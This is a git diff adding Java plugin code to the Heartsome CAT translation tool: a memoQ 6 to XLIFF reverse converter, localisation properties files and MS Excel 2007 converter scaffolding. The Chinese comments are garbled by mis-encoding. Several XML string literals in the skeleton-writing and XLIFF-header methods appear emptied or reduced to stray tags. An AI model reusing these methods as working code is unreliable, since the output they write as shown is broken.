"C:\\Users\\Administrator\\Desktop\\test.xml"); + VTDGen vg = new VTDGen(); + if (vg.parseFile(file, true)) { + sklVN = vg.getNav(); + sklXM = new XMLModifier(sklVN); + sklAP = new AutoPilot(sklVN); + sklAP.declareXPathNameSpace("mq", "MQXliff"); + }else { + String errorInfo = MessageFormat.format(Messages.getString("mq.parse.msg2"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 解æžè¦è¢«é€†è½¬æ¢çš„xliff文件 + * @param xliffFile + * @throws Exception + */ + private void parseXlfFile(String xliffFile) throws Exception { + VTDGen vg = new VTDGen(); + if (vg.parseFile(xliffFile, true)) { + xlfVN = vg.getNav(); + }else { + String errorInfo = MessageFormat.format(Messages.getString("mq.parse.msg1"), + new Object[]{new File(xliffFile).getName()}); + throw new Exception(errorInfo); + } + } + + /** + * 分æžxliff文件的æ¯ä¸€ä¸ª trans-unit 节点 + * @throws Exception + */ + private void ananysisXlfTU() throws Exception { + AutoPilot ap = new AutoPilot(xlfVN); + AutoPilot childAP = new AutoPilot(xlfVN); + VTDUtils vu = new VTDUtils(xlfVN); + String xpath = "/xliff/file/body//trans-unit"; + String srcXpath = "./source"; + String tgtXpath = "./target"; + ap.selectXPath(xpath); + int attrIdx = -1; + //trans-unitçš„id,对应sdl文件的å ä½ç¬¦å¦‚%%%1%%% 。 + String segId = ""; + TuBean bean = null; + while (ap.evalXPath() != -1) { + if ((attrIdx = xlfVN.getAttrVal("id")) == -1) { + continue; + } + bean = new TuBean(); + segId = xlfVN.toString(attrIdx); + + //处ç†source节点 + xlfVN.push(); + childAP.selectXPath(srcXpath); + if (childAP.evalXPath() != -1) { + String srcContent = vu.getElementContent(); + srcContent = srcContent == null ? "" : srcContent; + bean.setSrcText(srcContent); + } + xlfVN.pop(); + + //处ç†target节点 + String status = ""; //状æ€ï¼Œé’ˆå¯¹target节点,空字符串为未翻译 + xlfVN.push(); + String tgtContent = null; + childAP.selectXPath(tgtXpath); + if (childAP.evalXPath() != -1) { + tgtContent = vu.getElementContent(); + if ((attrIdx = xlfVN.getAttrVal("state")) != -1) { + status = xlfVN.toString(attrIdx); + } + } + tgtContent = tgtContent == null ? "" : tgtContent; + bean.setTgtText(tgtContent); + xlfVN.pop(); + + //处ç†æ‰¹æ³¨ + getNotes(xlfVN, bean); + + //判断是å¦å¤„于é”å®šçŠ¶æ€ + if ((attrIdx = xlfVN.getAttrVal("translate")) != -1) { + if ("no".equalsIgnoreCase(xlfVN.toString(attrIdx))) { + bean.setLocked(true); + } + } + //判断是å¦å¤„于批准状æ€ï¼Œè‹¥æ˜¯ç­¾å‘,就没有必è¦åˆ¤æ–­äº†ï¼Œå› ä¸ºç­¾å‘了的一定就批准了的 + if (!"signed-off".equalsIgnoreCase(status)) { + if ((attrIdx = xlfVN.getAttrVal("approved")) != -1) { + if ("yes".equalsIgnoreCase(xlfVN.toString(attrIdx))) { + status = "approved"; //批准 + } + } + } + bean.setStatus(status); + replaceSegment(segId, bean); + } + } + + + /** + * èŽ·å– R8 xliffæ–‡ä»¶çš„æ‰€æœ‰æ‰¹æ³¨ä¿¡æ¯ + * @param vn + * @param tgtbeBean + */ + private void getNotes(VTDNav vn, TuBean bean) throws Exception { + vn.push(); + AutoPilot ap = new AutoPilot(vn); + String xpath = "./note"; + ap.selectXPath(xpath); + StringBuffer noteSB = new StringBuffer(); + while(ap.evalXPath() != -1){ + String commentText = ""; + if (vn.getText() != -1) { + String r8NoteText = vn.toString(vn.getText()); + if (r8NoteText.indexOf(":") != -1) { + commentText = r8NoteText.substring(r8NoteText.indexOf(":") + 1, r8NoteText.length()); + }else { + commentText = r8NoteText; + } + } + noteSB.append(commentText + ";\n"); + } + bean.setNote(noteSB.toString()); + vn.pop(); + } + + + /** + * 替æ¢æŽ‰éª¨æž¶æ–‡ä»¶ä¸­çš„å ä½ç¬¦ + * @param segId + * @param srcBean + * @param tgtbeBean + */ + private void replaceSegment(String segId, TuBean bean) throws Exception { + String segStr = "%%%" + segId + "%%%"; + String srcXpath = "/xliff/file/body//trans-unit/source[text()='" + segStr + "']"; + //先处ç†æºæ–‡ + sklAP.selectXPath(srcXpath); + if (sklAP.evalXPath() != -1) { + int textIdx = sklVN.getText(); + sklXM.updateToken(textIdx, bean.getSrcText().getBytes("utf-8")); + } + //处ç†è¯‘æ–‡ + String tgtXpath = "/xliff/file/body//trans-unit/target[text()='" + segStr + "']"; + sklAP.selectXPath(tgtXpath); + if (sklAP.evalXPath() != -1) { + String content = bean.getTgtText(); + int textIdx = sklVN.getText(); + sklXM.updateToken(textIdx, content.getBytes("utf-8")); + } + + //开始处ç†çŠ¶æ€ç­‰å…¶ä»–东西 + tgtXpath = "/xliff/file/body//trans-unit[target/text()='" + segStr + "']"; + sklAP.selectXPath(tgtXpath); + int index = -1; + boolean needLocked = false; + if (sklAP.evalXPath() != -1) { + //先判断是å¦é”定 + if (bean.isLocked()) { + if ((index = sklVN.getAttrVal("mq:locked")) != -1) { + if (!"locked".equals(sklVN.toString(index))) { + sklXM.updateToken(index, "locked"); + } + }else { + needLocked = true; + } + }else { + if ((index = sklVN.getAttrVal("mq:locked")) != -1) { + if ("locked".equals(sklVN.toString(index))) { + sklXM.updateToken(index, "false"); + } + } + } + + //下é¢æ ¹æ®R8的状æ€ã€‚修改sdl的状æ€ã€‚ + String mqStatus = ""; + String status = bean.getStatus(); + if ("".equals(status)) { + mqStatus = "NotStarted"; + }else if ("new".equals(status)) { + mqStatus = "PartiallyEdited"; + }else if ("approved".equals(status)) { + mqStatus = "ManuallyConfirmed"; + }else if ("signed-off".equals(status)) { + mqStatus = "ManuallyConfirmed"; + } + + if ("".equals(mqStatus)) { + if ((index = sklVN.getAttrVal("mq:status")) != -1) { + sklXM.updateToken(index, ""); + } + }else { + if ((index = sklVN.getAttrVal("mq:status")) != -1) { + if (!mqStatus.equals(sklVN.toString(index))) { + sklXM.updateToken(index, mqStatus); + } + }else { + String attributeStr = ""; + if (needLocked) { + attributeStr = " mq:locked=\"locked\" "; + } + attributeStr += " mq:status=\"" + mqStatus + "\" "; + sklXM.insertAttribute(attributeStr.getBytes("utf-8")); + needLocked = false; + } + } + if (needLocked) { + sklXM.insertAttribute(" mq:locked=\"locked\" ".getBytes("utf-8")); + } + + } + } + + private void createMqSkeleton(File mqTempSkl) throws Exception{ + String xpath = "/xliff/file/header/sklContent"; + sklAP.selectXPath(xpath); + String mqSklContent = ""; + if(sklAP.evalXPath() != -1){ + VTDUtils vu = new VTDUtils(sklVN); + mqSklContent = vu.getElementContent(); + sklXM.remove(); + } + + FileOutputStream output = new FileOutputStream(mqTempSkl); + output.write("".getBytes("UTF-8")); + output.write("".getBytes("UTF-8")); + output.write(mqSklContent.getBytes("UTF-8")); + output.write("".getBytes("UTF-8")); + output.close(); + } + + + + private void createMQZipFile(String sklFile, File mqTempSkl){ + File files[] = new File[]{new File(sklFile), mqTempSkl}; + ZipArchiveOutputStream zaos = null; + + try { + File zipFile = new File(outputFile); + zaos = new ZipArchiveOutputStream(zipFile); + // Use Zip64 extensions for all entries where they are + // required +// zaos.setUseZip64(Zip64Mode.AsNeeded); + + // å°†æ¯ä¸ªæ–‡ä»¶ç”¨ZipArchiveEntryå°è£… + // å†ç”¨ZipArchiveOutputStream写到压缩文件中 + for (File file : files) { + if (file != null) { + String fileName = file.getName(); + if (fileName.endsWith(".skl")) { + fileName = "document.mqxliff"; + }else if (fileName.endsWith(".mqskl")) { + fileName = "skeleton.xml"; + } + ZipArchiveEntry zipArchiveEntry = new ZipArchiveEntry( file, fileName); + zaos.putArchiveEntry(zipArchiveEntry); + InputStream is = null; + try { + is = new BufferedInputStream( + new FileInputStream(file)); + byte[] buffer = new byte[1024 * 5]; + int len = -1; + while ((len = is.read(buffer)) != -1) { + // 把缓冲区的字节写入到ZipArchiveEntry + zaos.write(buffer, 0, len); + } + // Writes all necessary data for this entry. + zaos.closeArchiveEntry(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + if (is != null) + is.close(); + } + } + } + zaos.finish(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (zaos != null) { + zaos.close(); + } + } catch (IOException e) { + throw new RuntimeException(e); + } + } + } + + + } + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/Messages.java new file mode 100644 index 0000000..669a780 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.memoq6.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.memoq6.resource.mq"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq.properties b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq.properties new file mode 100644 index 0000000..17290a3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### + +utils.FileFormatUtils.MQ = MemoQ 6.x \u6587\u6863 (MQXLZ) + +mq.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\u3002 +mq.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u9006\u8f6c\u6362\u5931\u8d25\u3002 + +mq.task1 = \u6b63\u5728\u8f6c\u6362... +mq.task2 = \u6b63\u5728\u9006\u8f6c\u6362... + +mq2Xlf.msg1 = MemoQ 6.x \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +xlf2mq.msg1 = XLIFF \u8f6c\u6362\u6210 MemoQ 6.x \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq_en.properties b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq_en.properties new file mode 100644 index 0000000..dab9307 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq_en.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### + +utils.FileFormatUtils.MQ = MemoQ 6.x file (MQXLZ) + +mq.parse.msg1 = Failed to parsing the file {0}. +mq.parse.msg2 = Conversion to original format failed because the file {0} is not readable. + +mq.task1 = Converting... +mq.task2 = Converting to the original format... + +mq2Xlf.msg1 = Failed to convert MemoQ 6.x bilingual file to XLIFF.\nPlease confirm whether there is an error in the file, then try again. + +xlf2mq.msg1 = Failed to convert XLIFF to MemoQ 6.x bilingual file.\nPlease confirm whether there is an error in the file, then try again. diff --git a/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq_zh.properties b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq_zh.properties new file mode 100644 index 0000000..17290a3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.memoQ6/src/net/heartsome/cat/converter/memoq6/resource/mq_zh.properties @@ -0,0 +1,14 @@ + +########################## 2012-08-30 \u6dfb\u52a0 ########################################### + +utils.FileFormatUtils.MQ = MemoQ 6.x \u6587\u6863 (MQXLZ) + +mq.parse.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\u3002 +mq.parse.msg2 = \u6587\u4ef6 {0} \u7684\u9aa8\u67b6\u4fe1\u606f\u65e0\u6cd5\u89e3\u6790\uff0c\u9006\u8f6c\u6362\u5931\u8d25\u3002 + +mq.task1 = \u6b63\u5728\u8f6c\u6362... +mq.task2 = \u6b63\u5728\u9006\u8f6c\u6362... + +mq2Xlf.msg1 = MemoQ 6.x \u53cc\u8bed\u6587\u4ef6\u8f6c\u6362\u6210 XLIFF \u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +xlf2mq.msg1 = XLIFF \u8f6c\u6362\u6210 MemoQ 6.x \u53cc\u8bed\u6587\u4ef6\u5931\u8d25\u3002\n\u8bf7\u786e\u8ba4\u8be5\u6587\u4ef6\u662f\u5426\u5b58\u5728\u9519\u8bef\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/.classpath b/hsconverter/net.heartsome.cat.converter.msexcel2007/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/.project b/hsconverter/net.heartsome.cat.converter.msexcel2007/.project new file mode 100644 index 0000000..2a9c3b9 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.msexcel2007 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.msexcel2007/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.msexcel2007/META-INF/MANIFEST.MF new file mode 100644 index 0000000..fabe356 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/META-INF/MANIFEST.MF @@ -0,0 +1,18 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter MS Excel +Bundle-SymbolicName: net.heartsome.cat.converter.msexcel2007;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130409 +Bundle-Activator: net.heartsome.cat.converter.msexcel2007.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.converter;bundle-version="1.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.workbench;bundle-version="3.7.0", + org.eclipse.ui;bundle-version="3.7.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: . +Import-Package: net.heartsome.cat.common.ui +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/build.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/build.properties new file mode 100644 index 0000000..def0c2b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties,\ + images/ diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/images/preference/excel_32.png b/hsconverter/net.heartsome.cat.converter.msexcel2007/images/preference/excel_32.png new file mode 100644 index 0000000..0be596c Binary files /dev/null and b/hsconverter/net.heartsome.cat.converter.msexcel2007/images/preference/excel_32.png differ diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin.properties new file mode 100644 index 0000000..803c6f7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin.properties @@ -0,0 +1 @@ +preferencePages.ExcelPreferencePage = Microsoft Excel \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin.xml b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin.xml new file mode 100644 index 0000000..07224ba --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin_en.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin_en.properties new file mode 100644 index 0000000..abf54d1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin_en.properties @@ -0,0 +1 @@ +preferencePages.ExcelPreferencePage = Microsoft Excel diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin_zh.properties b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin_zh.properties new file mode 100644 index 0000000..803c6f7 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/plugin_zh.properties @@ -0,0 +1 @@ +preferencePages.ExcelPreferencePage = Microsoft Excel \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/Activator.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/Activator.java new file mode 100644 index 0000000..4e69309 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/Activator.java @@ -0,0 +1,84 @@ +package net.heartsome.cat.converter.msexcel2007; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +public class Activator extends AbstractUIPlugin implements BundleActivator { + + public static final String PLUGIN_ID = "net.heartsome.cat.converter.msexcel2007"; + + private ServiceRegistration excel2XLIFFSR; + + private ServiceRegistration xliff2excelSR; + + private static BundleContext context; + + private static Activator plugin; + + static BundleContext getContext() { + return context; + } + + /* + * (non-Javadoc) + * + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext bundleContext) throws Exception { + super.start(bundleContext); + Activator.context = bundleContext; + + Converter excel2xliff = new MsExcel2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, MsExcel2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, MsExcel2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, MsExcel2Xliff.TYPE_NAME_VALUE); + excel2XLIFFSR = ConverterRegister.registerPositiveConverter(context, excel2xliff, properties); + + Converter xliff2excel = new Xliff2MsExcel(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2MsExcel.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2MsExcel.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2MsExcel.TYPE_NAME_VALUE); + xliff2excelSR = ConverterRegister.registerReverseConverter(context, xliff2excel, properties); + plugin = this; + } + + /* + * (non-Javadoc) + * + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext bundleContext) throws Exception { + plugin = null; + if (excel2XLIFFSR != null) { + excel2XLIFFSR.unregister(); + excel2XLIFFSR = null; + } + + if (xliff2excelSR != null) { + xliff2excelSR.unregister(); + xliff2excelSR = null; + } + + Activator.context = null; + super.stop(bundleContext); + } + + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/MsExcel2Xliff.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/MsExcel2Xliff.java new file mode 100644 index 0000000..6e61ece --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/MsExcel2Xliff.java @@ -0,0 +1,164 @@ +/** + * MsExcel2Xliff.java + * + * Version information : + * + * Date:2012-8-9 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007; + +import java.io.BufferedWriter; +import java.io.FileWriter; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.preference.Constants; +import net.heartsome.cat.converter.msexcel2007.reader.SpreadsheetReader; +import net.heartsome.cat.converter.msexcel2007.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.util.TextUtil; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.preference.IPreferenceStore; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class MsExcel2Xliff implements Converter { + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "Microsoft Office Excel 2007"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("msexcel.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MS Excel 2007 to XLIFF Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + MsExcel2XliffImpl impl = new MsExcel2XliffImpl(); + return impl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class MsExcel2XliffImpl { + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("msexcel.mse2xliff.task1"), 4); + + Map result = new HashMap(); + String inputFile = params.get(Converter.ATTR_SOURCE_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + String skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + String sourceLanguage = params.get(Converter.ATTR_SOURCE_LANGUAGE); + String encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + // load segment + monitor.worked(1); + String catalogue = params.get(Converter.ATTR_CATALOGUE); + String initSegmenter = params.get(Converter.ATTR_SRX); + StringSegmenter segmenter = null; + try { + segmenter = new StringSegmenter(initSegmenter, sourceLanguage, catalogue); + } catch (Exception e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("msexcel.mse2xliff.msg1") + e.getMessage(), e); + } + + BufferedWriter xlfWriter = null; + SpreadsheetReader reader = new SpreadsheetReader(sourceLanguage, segmenter); + try { + xlfWriter = new BufferedWriter(new FileWriter(xliffFile)); + + // generation the header of xliff file + writeXliffHeader(xlfWriter, inputFile, sourceLanguage, skeletonFile, encoding); + + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + reader.read2XliffFile(inputFile, xlfWriter, skeletonFile, store.getBoolean(Constants.EXCEL_FILTER), + new SubProgressMonitor(monitor, 3)); + + // generation the end of xliff file + writeXliffTail(xlfWriter); + } catch (IOException e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("msexcel.converter.exception.msg2") + e.getMessage(), e); + } catch (InternalFileException e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, e.getMessage(), e); + } catch (Exception e) { + String msg = e.getMessage() == null ? "" : e.getMessage(); + ConverterUtils + .throwConverterException( + Activator.PLUGIN_ID, + MessageFormat.format(Messages.getString("msexcel.converter.exception.msg2"), + msg), e); + } finally { + if (xlfWriter != null) { + try { + xlfWriter.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + } + monitor.done(); + result.put(Converter.ATTR_XLIFF_FILE, xliffFile); + return result; + } + + private void writeXliffHeader(BufferedWriter xlfWriter, String inputFile, String srcLang, String sklFile, + String encoding) throws IOException { + xlfWriter.write("\n"); + xlfWriter.write("\n"); + + xlfWriter.write("\n"); + + xlfWriter.write("
    \n"); + xlfWriter.write(" \n"); + xlfWriter.write(" \n"); //$NON-NLS-2$ //$NON-NLS-3$ + xlfWriter.write(" \n"); + xlfWriter + .write(" \n"); //$NON-NLS-2$ + xlfWriter.write(" " + encoding + + "\n"); + xlfWriter.write("
    \n"); + xlfWriter.write("\n"); + } + + private void writeXliffTail(BufferedWriter xlfWriter) throws IOException { + xlfWriter.write("\n"); + xlfWriter.write("
    \n"); + xlfWriter.write("
    "); + } + + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/Xliff2MsExcel.java b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/Xliff2MsExcel.java new file mode 100644 index 0000000..25ef0d1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/Xliff2MsExcel.java @@ -0,0 +1,80 @@ +/** + * MsExcel2Xliff.java + * + * Version information : + * + * Date:2012-8-9 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msexcel2007; + +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msexcel2007.common.InternalFileException; +import net.heartsome.cat.converter.msexcel2007.reader.XliffReader; +import net.heartsome.cat.converter.util.ConverterUtils; + +import org.eclipse.core.runtime.IProgressMonitor; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class Xliff2MsExcel implements Converter { + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "Microsoft Office Excel 2007"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = "Microsoft Office Excel 2007"; + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MS Excel 2007 Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2MsExcelImpl impl = new Xliff2MsExcelImpl(); + return impl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Xliff2MsExcelImpl { + // skeleton æ–‡ä»¶ç¼–ç  + // private String encoding; + // private FileOutputStream output; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + Map result = new HashMap(); + + String sklFile = params.get(Converter.ATTR_SKELETON_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + + String outputFile = params.get(Converter.ATTR_TARGET_FILE); + // encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + XliffReader reader = new XliffReader(); + try { + reader.read2SpreadsheetDoc(outputFile, xliffFile, sklFile, monitor); + result.put(Converter.ATTR_TARGET_FILE, outputFile); + } catch (InternalFileException e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, e.getMessage(), e); + } + + return result; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msexcel2007/src/net/heartsome/cat/converter/msexcel2007/common/Constants.java 